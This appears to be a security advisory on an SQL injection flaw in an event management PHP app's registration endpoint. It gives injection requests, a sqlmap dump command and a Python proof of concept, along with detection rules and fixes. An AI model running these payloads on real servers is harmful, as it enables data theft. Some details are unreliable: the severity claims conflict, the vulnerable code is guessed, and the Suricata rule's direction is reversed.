CVE-2024-3432

Executive Summary

CVE-2024-3432 is a critical SQL injection vulnerability in PuneethReddyHC Event Management 1.0, specifically in the /backend/register.php file. The vulnerability allows remote attackers to manipulate parameters such as event_id, full_name, email, mobile, college, and branch to inject arbitrary SQL queries. This can lead to unauthorized data access, modification, or deletion. The vendor has not responded to disclosure attempts, and no official patch exists. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of exploit details increases risk.

Supply Chain & Package Security

This is not an NPM, PyPI, Go, or Ruby package; it is a standalone PHP application. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the public exploit and lack of patch. While the CVSS score is medium, the ease of exploitation and potential for data breach make it a high priority for remediation.

Deep Dive & Mechanics

The vulnerability resides in the register.php script, which processes user registration data. The application fails to sanitize or parameterize user-supplied input before constructing SQL queries. An attacker can inject SQL commands via the following POST parameters:

• event_id
• full_name
• email
• mobile
• college
• branch

The injection point is likely in an INSERT or SELECT statement. For example, a typical vulnerable query might be:

INSERT INTO registrations (event_id, full_name, email, mobile, college, branch) VALUES ('$_POST[event_id]', '$_POST[full_name]', ...);

By crafting a payload like 1' OR '1'='1, an attacker can manipulate the query to return all records or bypass authentication. The attack is remote and requires no authentication.

Vulnerable vs. Patched Code

Vulnerable Code (register.php):

<?php
$event_id = $_POST['event_id'];
$full_name = $_POST['full_name'];
$email = $_POST['email'];
$mobile = $_POST['mobile'];
$college = $_POST['college'];
$branch = $_POST['branch'];

$sql = "INSERT INTO registrations (event_id, full_name, email, mobile, college, branch) VALUES ('$event_id', '$full_name', '$email', '$mobile', '$college', '$branch')";
mysqli_query($conn, $sql);
?>

Patched Code (using prepared statements):

<?php
$stmt = $conn->prepare("INSERT INTO registrations (event_id, full_name, email, mobile, college, branch) VALUES (?, ?, ?, ?, ?, ?)");
$stmt->bind_param("ssssss", $_POST['event_id'], $_POST['full_name'], $_POST['email'], $_POST['mobile'], $_POST['college'], $_POST['branch']);
$stmt->execute();
$stmt->close();
?>

The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running PuneethReddyHC Event Management 1.0
• Access to /backend/register.php

Exploit Steps:

1. Identify the vulnerable endpoint:

   POST /backend/register.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   

2. Inject SQL via the email parameter to extract data:

   event_id=1&full_name=test&email=test' UNION SELECT 1,2,3,4,5,6-- -&mobile=123&college=test&branch=test
   

3. Use sqlmap for automated exploitation:

   sqlmap -u "http://target.com/backend/register.php" --data="event_id=1&full_name=test&email=test&mobile=123&college=test&branch=test" --batch --dump
   

Proof of Concept (PoC):

import requests

url = "http://target.com/backend/register.php"
payload = {
    "event_id": "1",
    "full_name": "test",
    "email": "test' OR '1'='1",
    "mobile": "123",
    "college": "test",
    "branch": "test"
}
response = requests.post(url, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for unusual SQL error messages in logs.
• Look for requests with special characters in POST parameters.
• Use WAF rules to block SQL injection patterns.

Hunting:

• Search for register.php access with parameters containing ', --, UNION, OR.
• Correlate with database error logs.

Lab Setup:

• Deploy a vulnerable instance using Docker:

  FROM php:7.4-apache
  COPY . /var/www/html/
  RUN docker-php-ext-install mysqli
  

• Run: docker build -t event-mgmt . && docker run -p 80:80 event-mgmt

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /backend/register.php with SQL keywords in parameters.
  • Unusual HTTP response sizes or error messages containing SQL syntax.
• Host:
  • Database logs showing unexpected queries.
  • Web server logs with register.php accessed with ' or -- in parameters.
• File:
  • Modified register.php if attacker uploads webshell.
• Example IOC:

  POST /backend/register.php HTTP/1.1
  Content-Length: 89
  event_id=1&full_name=test&email=test' UNION SELECT 1,2,3,4,5,6-- -&mobile=123&college=test&branch=test
  

Detection Engineering

YARA Rule

rule CVE_2024_3432_SQLi_Register {
    meta:
        description = "Detects SQL injection attempts against /backend/register.php"
        author = "Valters IT"
        date = "2025-04-14"
        cve = "CVE-2024-3432"
    strings:
        $s1 = "register.php" nocase
        $s2 = "event_id" nocase
        $s3 = "full_name" nocase
        $s4 = "email" nocase
        $s5 = "mobile" nocase
        $s6 = "college" nocase
        $s7 = "branch" nocase
        $sqli1 = /['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
    condition:
        all of ($s*) and $sqli1
}

Sigma Rule

title: SQL Injection Attempt Against Event Management Register Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting /backend/register.php
author: Valters IT
date: 2025-04-14
tags:
    - attack.t1190
    - cve.2024.3432
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/backend/register.php'
    keywords:
        - 'event_id'
        - 'full_name'
        - 'email'
        - 'mobile'
        - 'college'
        - 'branch'
    sqli_pattern:
        - '*\'*'
        - '*\"*'
        - '*OR*'
        - '*AND*'
        - '*UNION*'
        - '*SELECT*'
        - '*--*'
    condition: selection and sqli_pattern
falsepositives:
    - Legitimate use of special characters in names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3432 SQL Injection Attempt on Event Management Register";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/backend/register.php"; http_uri;
    content:"event_id"; http_client_body;
    pcre:"/(?:\x27|\x22)\s*(?:OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-3432;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application if internet-facing.
2. Apply WAF rules to block SQL injection patterns.
3. Review access logs for signs of exploitation.

Long-term Fix:

• Replace all dynamic SQL with prepared statements or parameterized queries.
• Implement input validation and sanitization.
• Update to a patched version if available; otherwise, rewrite the vulnerable code.

Workaround:

• Disable the registration functionality if not critical.
• Use a reverse proxy to filter malicious requests.

Vendor Contact:

• Since the vendor is unresponsive, consider forking the project and applying patches yourself.

Valters IT